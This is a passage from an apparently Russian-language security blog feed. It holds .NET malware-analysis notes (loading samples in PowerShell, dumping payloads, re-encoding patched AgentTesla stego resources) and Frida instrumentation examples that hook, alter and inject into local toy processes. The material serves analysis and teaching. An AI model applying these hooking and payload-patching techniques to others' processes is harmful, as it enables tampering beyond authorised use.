    Console.WriteLine("{0}Valid Date: {1}{0}", Environment.NewLine, x509.NotBefore);
    Console.WriteLine("{0}Expiry Date: {1}{0}", Environment.NewLine, x509.NotAfter);
    Console.WriteLine("{0}Thumbprint: {1}{0}", Environment.NewLine, x509.Thumbprint);
    Console.WriteLine("{0}Serial Number: {1}{0}", Environment.NewLine, x509.SerialNumber);
    Console.WriteLine("{0}Friendly Name: {1}{0}", Environment.NewLine, x509.PublicKey.Oid.FriendlyName);
    Console.WriteLine("{0}Public Key Format: {1}{0}", Environment.NewLine, x509.PublicKey.EncodedKeyValue.Format(true));
    Console.WriteLine("{0}Raw Data Length: {1}{0}", Environment.NewLine, x509.RawData.Length);
    Console.WriteLine("{0}Certificate to string: {1}{0}", Environment.NewLine, x509.ToString(true));
    Console.WriteLine("{0}Certificate to XML String: {1}{0}", Environment.NewLine, x509.PublicKey.Key.ToXmlString(false));
}

// Define other methods and classes here

</code></pre></div></div>

<h2 id="быстрая-разработка-на-net">Быстрая разработка на .NET</h2>

<p>Иногда необходимо по-быстрому полностью реализовать какой-нибудь алгоритм/написать код. Например, повторить кусок кода из малвари, который работает с файлами, открывает их, сохраняет и т.д..</p>

<ol>
  <li>Скачиваем <a href="https://code.visualstudio.com/">VSCode</a></li>
  <li>Устанавливаем два расширения: <a href="https://marketplace.visualstudio.com/items?itemName=ms-dotnettools.csdevkit">C# Dev Kit</a> и <a href="https://marketplace.visualstudio.com/items?itemName=ms-dotnettools.csharp">C#</a></li>
  <li>Скачиваем <a href="https://dotnet.microsoft.com/en-us/download">dotnet sdk</a></li>
  <li>Чтобы убедиться, что dotnet установлен и работает корректно в командной строке выполняем команду <code class="language-plaintext highlighter-rouge">dotnet</code></li>
  <li>Открываем <code class="language-plaintext highlighter-rouge">VSCode</code> через <code class="language-plaintext highlighter-rouge">Developer Command Prompt</code> командой <code class="language-plaintext highlighter-rouge">code</code></li>
</ol>

<p><img src="/assets/images/ru/dotnet_lifehacks/cmd_prompt.png" alt="" /></p>

<ol>
  <li>Создаем новый проект типа Console командой:</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dotnet new console
</code></pre></div></div>

<ol>
  <li>Если не хватает какой-либо зависимости:</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dotnet add package System.Drawing.Common --version 7.0.0
</code></pre></div></div>

<ol>
  <li>Собрать проект</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dotnet clear
dotnet build
</code></pre></div></div>

<ol>
  <li>Чтобы получить бинарник пригодный для запуска на другом компе (не забудьте указать нужную архитектуру):</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dotnet publish -r win7-x64 
</code></pre></div></div>

<p>Ссылки по этой теме:</p>

<p>https://learn.microsoft.com/en-us/dotnet/core/rid-catalog</p>

<p>https://learn.microsoft.com/en-us/dotnet/core/tools/dotnet-build</p>

<p>https://learn.microsoft.com/en-us/dotnet/core/deploying/</p>

<p>Publishing your app as self-contained produces an application that includes the .NET runtime and libraries, and your application and its dependencies. Users of the application can run it on a machine that doesn’t have the .NET runtime installed.</p>

<ol>
  <li>Чтобы бинарник работал на другой компе или в виртуалке, надо скопировать ВСЮ папку <code class="language-plaintext highlighter-rouge">bin\x64\Debug\net7.0\win7-x64\publish</code></li>
</ol>]]></content><author><name></name></author><category term="[&quot;ru&quot;]" /><category term="note" /><category term="malware-analysis" /><category term="windows" /><summary type="html"><![CDATA[У нас есть малварь, которая декодирует ресурс DE. С помощью скрипта stego можно расшифровать картинку. Результат декодирования: Также этот скрипт способен производить обратную операцию - превращать файл в стеганографическое изображение. Может использоваться в сценарии, когда вы пропатчили вредоносный файл, и хотите обратно закодировать его в картинку, чтобы малварь в процессе своей работы расшифровала ваш пропатченный бинарник. Не забудьте указать ширину и высоту картинки, как в оригинале. Дамп пейлодов Часто .net малварь выполняет несколько стадий распаковки, задействуя несколько пейлодов. Чтобы просмотреть вредоносные пейлоды в памяти можно воспользоваться инстурментом ProcessHacker: Дампнуть отдельные .NET Assembly из памяти можно тулзой ExtremeDumper. hollows_hunter может не видеть все пейлоды в памяти. Также можно сделать дамп, поставив брейкпоинт на загрузку модулей в dnSpy. Способ показан в видео. Нам надо отобразить окно Модули. Затем поставить “*” в имена отслеживаемых модулей. Запускаем малварь и мы увидим все загружаемые модули. Вызов отдельных методов Способ первый Малварь может содержать функции по расшифровки/декодированию строк или другие интересные функции, которые хочется вызвать отдельно (только их). Например, малварь содержит функцию по декодированию строки CausalitySource Аргументы, которая она принимает: Существует два удобных способа вызвать эту функцию с нужными аргументами. Первый - с помощью LinqPad Linqpad - это легковесный исполнитель dotnet кода, которым удобно пользоваться в виртуалке. Можно скачивать 5 версию, так как .NET framework по умолчанию стоит в Windows 7. Теперь мы можем просто скопировать из образца код, вставить его в редактор и исполнить. Необязательно писать полноценную программу с Main() и т.д., можно использовать просто куски кода, для этого в выпадающем меню выбираем Expression или Statement. Например, исполнение отдельных строк кода: Способ второй Часто образец малвари в своих методах использует собственные константы, другие методы и т.д. и переносить кучу кода/переменные в Linqpad нерелевантно. Поэтому можно воспользоваться втором способом - powershell. Ничего устанавливать не нужно, powershell по умолчанию есть в Windows 7. Запускаем нужный экземпляр powershell, чтобы его разрядность совпадала с разрядностью образца. Первым делом нам необходимо подгрузить наш вредоносный Assembly командой: $malware = [Reflection.Assembly]::LoadFile("path") Также это можно сделать с помощью cmdlet (более современный способ). В этом случае файл должен иметь расширение .dll: Add-Type -Path foo.dll Убедиться что операция завершена успешна поможет команда просмотра списка всех загруженных Assembly: [appdomain]::currentdomain.GetAssemblies() Чтобы вызвать конкретный, статический метод мы используем следующую конструкцию: [имя_namespace.имя_класса]::имя_функции("аргументы") Например: Если метод НЕ статический, то в начале инстанцируем класс: $instance = New-Object имя_namespace.имя_класса $result = $instance.имя_функции() echo $result Пример вызова нестатического метода: Полезные powershell команды *ассембли (Assembly) - любой .NET EXE или DLL Стандартный размер шрифта powershell очень мал. Увеличить его можно кликнув правой кнопкой на иконку - Свойства. Очистка окна консоли: Clear-Host Если для каких-либо операций нам необходимо подгрузить зависимость: [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing") Например, подгрузив зависимость Drawing мы можем использовать класс Bitmap: $bmp = New-Object System.Drawing.Bitmap("D:\\path") Вывод всех типов внутри бинарника: $malware.gettypes() Поиск по выводу какой-либо команды: | Select-String -Pattern "строка_для_поиска" Вывод только публичных классов: $assembly.GetTypes() | ? {$_.IsClass -and $_.IsPublic} Вывод всех текущих загруженных Assembly в отсортированном виде (также эта команда может пригодится или нет при форензике): [appdomain]::currentdomain.getassemblies() | sort -property fullname | format-table fullname Дамп захардкоженных переменных ассембли. Допустим у нас есть малварь, которая содержит некий статический байтовый блоб. Если вы хотите дампнуть его, это можно сделать двумя способами. Динамически - запустить ассембли в дебаггере и дампнуть значение в рантайме. Статически - дампнуть, используя powershell. Чтобы дампнуть используя powershell мы подгружаем ассембли и сохраняем в файл желаемую переменную. $malware = [Reflection.Assembly]::LoadFrom("path") # подгружаем наш вредоносный ассембли [io.file]::WriteAllBytes('path_to_save_var', [namespace.class]::var_name) # сохраняем в файл Пример: Если требуемая переменная НЕстатическая, то просто создайте инстанс соответствующего класса. Если вам лень постоянно вводить команды для дампа, то можно написать скрипт. Чтобы скрипт работал, не забудьте включить исполнение скриптов на системе: set-executionpolicy remotesigned Лайфхаки AgentTesla содержит пейлоды в виде ресурсов. Один из пейлодов является стеганографической картинкой. Если мы хотим пропатчить пейлод, который распаковывается на какой-либо стадии, нам необходимо: Преобразовать ресурс из картинки в файл Пропатчить Преобразовать файл обратно в картинку Заменить ресурс картинку В этом может помочь скрипт stego. Например, мы хотим написать YARA правило на кусок .NET кода. *вспомогательная ссылка *список опкодов LinqPad поддерживает работу с файлами Иногда, .NET малварь может содержать GUID. Это поле идентифицрует конкретный проект на компе разработчика. Соответственно, если у нескольких отдельных образцов один и тот же GUID, то с уверенностью можно говорить, что они были разработаны на одном компе и скорей всего одним и тем же разработчиком. Если нам попался .NET Bundle, то дампнуть файлы бандла можно с помощью AsmResolver и powershell: [Reflection.Assembly]::LoadFrom("C:\AsmResolver\AsmResolver.DotNet.dll") | Out-Null $extractionPath = "C:\Extracted\" $manifest = [AsmResolver.DotNet.Bundles.BundleManifest]::FromFile("C:\RiotClientServices.exe") foreach($file in $manifest.Files) { $fileInfo = [IO.FileInfo]::new($extractionPath + $file.RelativePath) $fileInfo.Directory.Create() [IO.File]::WriteAllBytes($fileInfo.FullName, $file.getData($true)) } Более подробная информация Библиотека AsmResolver, с помощью которой можно модифицировать .net бинарники. Например, удалять ненужные методы: [Reflection.Assembly]::LoadFrom("C:\AsmResolver\AsmResolver.DotNet.dll") | Out-Null $obfuscated = "C:\RiotClientServices.dll" $moduleDef = [AsmResolver.DotNet.ModuleDefinition]::FromFile($obfuscated) # Removing junk methods foreach($type in $moduleDef.GetAllTypes()) { foreach($method in [array]$type.Methods.Where{$_.HasMethodBody}) { if(($method.MethodBody.Instructions.Where{$_.Opcode.Mnemonic -like "call" -and $_.Operand.FullName -like "*System.Console::WriteLine*"}).count -eq 5) { $type.Methods.Remove($method) | Out-Null } } } Если надо отдебажить библиотеку .NET, то можно воспользоваться SharpDllLoader Образцы можно группировать по TypeRef hash. Вычислить его поможет скрипт в гитлаб. TypeRef hash лучше использовать отсортированный и включая сущности, которые ссылаются сами на себя (sorted, include self-referenced entries). Если функция расшифровки строк малвари вызывается много раз, можно написать следующий скрипт (пример): $malware = [Reflection.Assembly]::LoadFile("C:\my\f.dll") [jKcEiEe]::TFkR(980214767)| Out-File -FilePath c:\my\output.txt [jKcEiEe]::TFkR(980214689) | Add-Content C:\my\output.txt [jKcEiEe]::TFkR(980214350) | Add-Content C:\my\output.txt [jKcEiEe]::TFkR(980214730) | Add-Content C:\my\output.txt [jKcEiEe]::TFkR(980214391) | Add-Content C:\my\output.txt [jKcEiEe]::TFkR(980214713) | Add-Content C:\my\output.txt [jKcEiEe]::TFkR(980214747) | Add-Content C:\my\output.txt [jKcEiEe]::TFkR(980214670) | Add-Content C:\my\output.txt [jKcEiEe]::TFkR(980214364) | Add-Content C:\my\output.txt [jKcEiEe]::TFkR(980214543) | Add-Content C:\my\output.txt Иногда малварь для сокрытия пейлода использует Fody/Costura. Costura предназначена для добавления зависимостей/ресурсов в единный бинарник. Полезные ссылки по таким кейсам: example-analysis-of-multi-component-malware play-ransomware-volume-shadow-copy Получение данных о X509 сертификате кодом в LINQPAD. Также можно проверить валидность файла: void Main() { string fileName = "c:\\my\\OUTLOOK.CFG"; string text2 = "test-908@testgmail-398504.iam.gserviceaccount.com"; X509Certificate2 x509 = new X509Certificate2(fileName, "notasecret", X509KeyStorageFlags.Exportable); Console.WriteLine("{0}Subject: {1}{0}", Environment.NewLine, x509.Subject); Console.WriteLine("{0}Issuer: {1}{0}", Environment.NewLine, x509.Issuer); Console.WriteLine("{0}Version: {1}{0}", Environment.NewLine, x509.Version); Console.WriteLine("{0}Valid Date: {1}{0}", Environment.NewLine, x509.NotBefore); Console.WriteLine("{0}Expiry Date: {1}{0}", Environment.NewLine, x509.NotAfter); Console.WriteLine("{0}Thumbprint: {1}{0}", Environment.NewLine, x509.Thumbprint); Console.WriteLine("{0}Serial Number: {1}{0}", Environment.NewLine, x509.SerialNumber); Console.WriteLine("{0}Friendly Name: {1}{0}", Environment.NewLine, x509.PublicKey.Oid.FriendlyName); Console.WriteLine("{0}Public Key Format: {1}{0}", Environment.NewLine, x509.PublicKey.EncodedKeyValue.Format(true)); Console.WriteLine("{0}Raw Data Length: {1}{0}", Environment.NewLine, x509.RawData.Length); Console.WriteLine("{0}Certificate to string: {1}{0}", Environment.NewLine, x509.ToString(true)); Console.WriteLine("{0}Certificate to XML String: {1}{0}", Environment.NewLine, x509.PublicKey.Key.ToXmlString(false)); } // Define other methods and classes here Быстрая разработка на .NET Иногда необходимо по-быстрому полностью реализовать какой-нибудь алгоритм/написать код. Например, повторить кусок кода из малвари, который работает с файлами, открывает их, сохраняет и т.д.. Скачиваем VSCode Устанавливаем два расширения: C# Dev Kit и C# Скачиваем dotnet sdk Чтобы убедиться, что dotnet установлен и работает корректно в командной строке выполняем команду dotnet Открываем VSCode через Developer Command Prompt командой code Создаем новый проект типа Console командой: dotnet new console Если не хватает какой-либо зависимости: dotnet add package System.Drawing.Common --version 7.0.0 Собрать проект dotnet clear dotnet build Чтобы получить бинарник пригодный для запуска на другом компе (не забудьте указать нужную архитектуру): dotnet publish -r win7-x64 Ссылки по этой теме: https://learn.microsoft.com/en-us/dotnet/core/rid-catalog https://learn.microsoft.com/en-us/dotnet/core/tools/dotnet-build https://learn.microsoft.com/en-us/dotnet/core/deploying/ Publishing your app as self-contained produces an application that includes the .NET runtime and libraries, and your application and its dependencies. Users of the application can run it on a machine that doesn’t have the .NET runtime installed. Чтобы бинарник работал на другой компе или в виртуалке, надо скопировать ВСЮ папку bin\x64\Debug\net7.0\win7-x64\publish]]></summary></entry><entry><title type="html">Заметка по Frida</title><link href="https://orderofsixangles.com/ru/2024/06/20/frida-notes-ru.html" rel="alternate" type="text/html" title="Заметка по Frida" /><published>2024-06-20T00:00:00+00:00</published><updated>2024-06-20T00:00:00+00:00</updated><id>https://orderofsixangles.com/ru/2024/06/20/frida-notes-ru</id><content type="html" xml:base="https://orderofsixangles.com/ru/2024/06/20/frida-notes-ru.html"><![CDATA[<p>Это не полноценная статья! Это мои заметки по изучению фриды. Когда нужно быстро вспомнить какой-то аспект фриды, можно будет к ним быстро вернуться.</p>

<h2 id="frida-general">Frida General</h2>

<p>Frida - это Open Source Dynamic Code Instrumentation Framework. Instrumentation (инструментация) - это модификация программы для сбора данных о ее поведении, производительности или других характеристиках. Frida работает с процессом в рантайме, вмешиваясь в его работу. Возможности Frida:</p>

<ol>
  <li>API tracing</li>
  <li>Логгировать действия уже запущенного приложения, не останавливая его работы</li>
  <li>Расшифровка TLS трафика</li>
  <li>Фаззинг функций изнутри процесса (в отличии от классических фазеров)</li>
  <li>Дамп памяти процесса</li>
  <li>Создание протектора, антидебаггера (!)</li>
  <li>etc…</li>
</ol>

<p>Фриду можно воспринимать как заскриптованный дебаггер. Она также как и дебагер подключается к процессу, но позволяет выполнять некоторые действия быстрее дебагера. Принцип работы Фриды заключается в инжекте в процесс QuickJS. QuickJS - маленький, самодостаточный интерпретатор Javascript. Вы пишите Frida скрипт на JS, а интерпретатор внутри процесса его исполняет. Если нет рута (ios, android), то фриду можно добавить непосредственно в исследуемое приложение следующими способами:</p>

<ol>
  <li>Модификация исходников</li>
  <li>Патчинг бинарника</li>
  <li>Динамическая подгрузка (LD_PRELOAD)</li>
</ol>

<h2 id="frida-mini-examples">Frida mini examples</h2>

<p>Папка <code class="language-plaintext highlighter-rouge">frida_mini_examples</code> содержит примеры возможностей фриды.</p>

<p><code class="language-plaintext highlighter-rouge">hello.c</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span>
<span class="kt">void</span> <span class="nf">f</span> <span class="p">(</span><span class="kt">int</span> <span class="n">n</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">printf</span> <span class="p">(</span><span class="s">"Number: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">n</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span> <span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
  <span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

  <span class="n">printf</span> <span class="p">(</span><span class="s">"f() is at %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">f</span><span class="p">);</span>

  <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span>
  <span class="p">{</span>
    <span class="n">f</span> <span class="p">(</span><span class="n">i</span><span class="o">++</span><span class="p">);</span>
    <span class="n">sleep</span> <span class="p">(</span><span class="mi">1</span><span class="p">);</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">hook.py 0xaddr</code> - перехватывает функцию <code class="language-plaintext highlighter-rouge">f()</code> и выводит аргумент</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="nx">frida</span>
<span class="k">import</span> <span class="nx">sys</span>

<span class="err">#</span> <span class="nx">intercept</span> <span class="nx">func</span> <span class="nx">at</span> <span class="nx">addr</span> <span class="k">from</span> <span class="nx">arg</span>
<span class="nx">session</span> <span class="o">=</span> <span class="nx">frida</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="dl">"</span><span class="s2">hello</span><span class="dl">"</span><span class="p">)</span>
<span class="nx">script</span> <span class="o">=</span> <span class="nx">session</span><span class="p">.</span><span class="nx">create_script</span><span class="p">(</span><span class="dl">"""</span><span class="s2">
Interceptor.attach(ptr(</span><span class="dl">"</span><span class="o">%</span><span class="nx">s</span><span class="dl">"</span><span class="s2">), {
    onEnter(args) {
        send(args[0].toInt32()); // print func args
    }
});
</span><span class="dl">"""</span> <span class="o">%</span> <span class="nx">int</span><span class="p">(</span><span class="nx">sys</span><span class="p">.</span><span class="nx">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mi">16</span><span class="p">))</span>
<span class="nx">def</span> <span class="nx">on_message</span><span class="p">(</span><span class="nx">message</span><span class="p">,</span> <span class="nx">data</span><span class="p">):</span>
    <span class="nx">print</span><span class="p">(</span><span class="nx">message</span><span class="p">)</span>
<span class="nx">script</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">message</span><span class="dl">'</span><span class="p">,</span> <span class="nx">on_message</span><span class="p">)</span>
<span class="nx">script</span><span class="p">.</span><span class="nx">load</span><span class="p">()</span>
<span class="nx">sys</span><span class="p">.</span><span class="nx">stdin</span><span class="p">.</span><span class="nx">read</span><span class="p">()</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">modify.py 0xaddr</code> - модифицирует первый аргумент, меняет его на 1337</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="nx">frida</span>
<span class="k">import</span> <span class="nx">sys</span>

<span class="nx">session</span> <span class="o">=</span> <span class="nx">frida</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="dl">"</span><span class="s2">hello</span><span class="dl">"</span><span class="p">)</span>
<span class="nx">script</span> <span class="o">=</span> <span class="nx">session</span><span class="p">.</span><span class="nx">create_script</span><span class="p">(</span><span class="dl">"""</span><span class="s2">
Interceptor.attach(ptr(</span><span class="dl">"</span><span class="o">%</span><span class="nx">s</span><span class="dl">"</span><span class="s2">), {
    onEnter(args) {
        args[0] = ptr(</span><span class="dl">"</span><span class="mi">1337</span><span class="dl">"</span><span class="s2">);
    }
});
</span><span class="dl">"""</span> <span class="o">%</span> <span class="nx">int</span><span class="p">(</span><span class="nx">sys</span><span class="p">.</span><span class="nx">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mi">16</span><span class="p">))</span>
<span class="nx">script</span><span class="p">.</span><span class="nx">load</span><span class="p">()</span>
<span class="nx">sys</span><span class="p">.</span><span class="nx">stdin</span><span class="p">.</span><span class="nx">read</span><span class="p">()</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">call_funcs.py 0xaddr</code> - вызов внутренней функции f()</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="nx">frida</span>
<span class="k">import</span> <span class="nx">sys</span>

<span class="nx">session</span> <span class="o">=</span> <span class="nx">frida</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="dl">"</span><span class="s2">hello</span><span class="dl">"</span><span class="p">)</span>
<span class="nx">script</span> <span class="o">=</span> <span class="nx">session</span><span class="p">.</span><span class="nx">create_script</span><span class="p">(</span><span class="dl">"""</span><span class="s2">
const f = new NativeFunction(ptr(</span><span class="dl">"</span><span class="o">%</span><span class="nx">s</span><span class="dl">"</span><span class="s2">), 'void', ['int']);
f(1911);
f(1911);
f(1911);
</span><span class="dl">"""</span> <span class="o">%</span> <span class="nx">int</span><span class="p">(</span><span class="nx">sys</span><span class="p">.</span><span class="nx">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mi">16</span><span class="p">))</span>
<span class="nx">script</span><span class="p">.</span><span class="nx">load</span><span class="p">()</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">inject_string</code> - создает строку “TESTMEPLZ!” в адресном пространстве процесса hi и вызывает функцию f() с этой строкой в качестве аргумента</p>

<p><code class="language-plaintext highlighter-rouge">hi.c</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">f</span> <span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">s</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">printf</span> <span class="p">(</span><span class="s">"String: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">s</span><span class="p">);</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span> <span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
  <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">s</span> <span class="o">=</span> <span class="s">"Testing!"</span><span class="p">;</span>

  <span class="n">printf</span> <span class="p">(</span><span class="s">"f() is at %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">f</span><span class="p">);</span>
  <span class="n">printf</span> <span class="p">(</span><span class="s">"s is at %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">s</span><span class="p">);</span>

  <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span>
  <span class="p">{</span>
    <span class="n">f</span> <span class="p">(</span><span class="n">s</span><span class="p">);</span>
    <span class="n">sleep</span> <span class="p">(</span><span class="mi">1</span><span class="p">);</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="nx">frida</span>
<span class="k">import</span> <span class="nx">sys</span>

<span class="nx">session</span> <span class="o">=</span> <span class="nx">frida</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="dl">"</span><span class="s2">hi</span><span class="dl">"</span><span class="p">)</span>
<span class="nx">script</span> <span class="o">=</span> <span class="nx">session</span><span class="p">.</span><span class="nx">create_script</span><span class="p">(</span><span class="dl">"""</span><span class="s2">
const st = Memory.allocUtf8String(</span><span class="dl">"</span><span class="nx">TESTMEPLZ</span><span class="o">!</span><span class="dl">"</span><span class="s2">);
const f = new NativeFunction(ptr(</span><span class="dl">"</span><span class="o">%</span><span class="nx">s</span><span class="dl">"</span><span class="s2">), 'int', ['pointer']);
f(st);
</span><span class="dl">"""</span> <span class="o">%</span> <span class="nx">int</span><span class="p">(</span><span class="nx">sys</span><span class="p">.</span><span class="nx">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mi">16</span><span class="p">))</span>
<span class="nx">def</span> <span class="nx">on_message</span><span class="p">(</span><span class="nx">message</span><span class="p">,</span> <span class="nx">data</span><span class="p">):</span>
    <span class="nx">print</span><span class="p">(</span><span class="nx">message</span><span class="p">)</span>
<span class="nx">script</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">message</span><span class="dl">'</span><span class="p">,</span> <span class="nx">on_message</span><span class="p">)</span>
<span class="nx">script</span><span class="p">.</span><span class="nx">load</span><span class="p">()</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">inject_struct</code> - client коннектится к 127.0.0.1 по порту 5000, после нажатия Enter. Скрипт подменяет структуру sockaddr на собственную</p>

<p><code class="language-plaintext highlighter-rouge">nc -lp 5000</code>
<code class="language-plaintext highlighter-rouge">nc -lp 5001</code>
<code class="language-plaintext highlighter-rouge">./client 127.0.0.1</code></p>

<p><code class="language-plaintext highlighter-rouge">client.c</code></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;arpa/inet.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;errno.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;netdb.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;netinet/in.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/socket.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/types.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span> <span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
  <span class="kt">int</span> <span class="n">sock_fd</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">n</span><span class="p">;</span>
  <span class="k">struct</span> <span class="n">sockaddr_in</span> <span class="n">serv_addr</span><span class="p">;</span>
  <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">b</span><span class="p">;</span>
  <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">message</span><span class="p">;</span>
  <span class="kt">char</span> <span class="n">recv_buf</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">argc</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">)</span>
  <span class="p">{</span>
    <span class="n">fprintf</span> <span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"Usage: %s &lt;ip of server&gt;</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="n">printf</span> <span class="p">(</span><span class="s">"connect() is at: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">connect</span><span class="p">);</span>

  <span class="k">if</span> <span class="p">((</span><span class="n">sock_fd</span> <span class="o">=</span> <span class="n">socket</span> <span class="p">(</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">SOCK_STREAM</span><span class="p">,</span> <span class="mi">0</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
  <span class="p">{</span>
    <span class="n">perror</span> <span class="p">(</span><span class="s">"Unable to create socket"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="n">bzero</span> <span class="p">(</span><span class="o">&amp;</span><span class="n">serv_addr</span><span class="p">,</span> <span class="k">sizeof</span> <span class="p">(</span><span class="n">serv_addr</span><span class="p">));</span>

  <span class="n">serv_addr</span><span class="p">.</span><span class="n">sin_family</span> <span class="o">=</span> <span class="n">AF_INET</span><span class="p">;</span>
  <span class="n">serv_addr</span><span class="p">.</span><span class="n">sin_port</span> <span class="o">=</span> <span class="n">htons</span> <span class="p">(</span><span class="mi">5000</span><span class="p">);</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">inet_pton</span> <span class="p">(</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">serv_addr</span><span class="p">.</span><span class="n">sin_addr</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">)</span>
  <span class="p">{</span>
    <span class="n">fprintf</span> <span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"Unable to parse IP address</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="n">printf</span> <span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Here's the serv_addr buffer:</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="n">b</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span> <span class="o">&amp;</span><span class="n">serv_addr</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">!=</span> <span class="k">sizeof</span> <span class="p">(</span><span class="n">serv_addr</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
